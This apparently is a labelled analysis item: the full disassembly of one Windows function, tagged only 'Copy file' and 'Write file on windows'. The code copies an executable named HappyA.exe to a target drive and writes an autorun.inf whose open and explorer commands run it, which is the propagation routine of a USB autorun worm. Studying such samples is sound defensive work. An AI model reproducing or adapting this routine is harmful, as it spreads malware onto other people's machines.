Function at 0x401b4a
Capabilities:
Copy file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0x230]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
movabs rdi, 0x2e4179707061485c
mov qword [rax], rdi
mov dword [rax + 8], 0x657865
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x401bf9
lea rax, [rbp - 0x60]
mov r8d, 0
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
jmp 0x401c39
mov edx, dword [rbp + 0xd0]
mov eax, dword [0x00436684]
cmp edx, eax
je 0x401c26
lea rax, [rbp - 0x60]
mov r8d, 0
mov rdx, rax
lea rcx, [0x00436080]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov rax, qword [rbp + 0x208]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0x230]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
movabs rdi, 0x6e75726f7475615c
mov qword [rax], rdi
mov dword [rax + 8], 0x666e692e
mov byte [rax + 0xc], 0
lea rdx, [rbp + 0xb0]
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x401dad
lea rax, [rbp - 0x60]
lea rdx, [0x0042e07e]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0xa
mov edx, 1
lea rcx, str._autorun__n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0x14
mov edx, 1
lea rcx, str.shellopenOpen_O__n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0x1e
mov edx, 1
lea rcx, str.shellopencommandHappyA.exe_n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0x15
mov edx, 1
lea rcx, str.shellopendefault1_n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.shellexplorerExplorer_X__n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov r9, rax
mov r8d, 0x22
mov edx, 1
lea rcx, str.shellexplorercommandHappyA.exe_n
call sym.fwrite
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.fclose
jmp 0x401ec2
mov eax, dword [rbp + 0xb0]
and eax, 0x10
test eax, eax
jne 0x401ec2
mov edx, dword [rbp + 0xd0]
mov eax, dword [0x00436684]
cmp edx, eax
je 0x401ec2
lea rax, [rbp - 0x60]
lea rdx, [0x0042e07e]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0xa
mov edx, 1
lea rcx, str._autorun__n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0x14
mov edx, 1
lea rcx, str.shellopenOpen_O__n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0x1e
mov edx, 1
lea rcx, str.shellopencommandHappyA.exe_n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0x15
mov edx, 1
lea rcx, str.shellopendefault1_n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.shellexplorerExplorer_X__n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov r9, rax
mov r8d, 0x22
mov edx, 1
lea rcx, str.shellexplorercommandHappyA.exe_n
call sym.fwrite
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x298
pop rdi
pop rbp
ret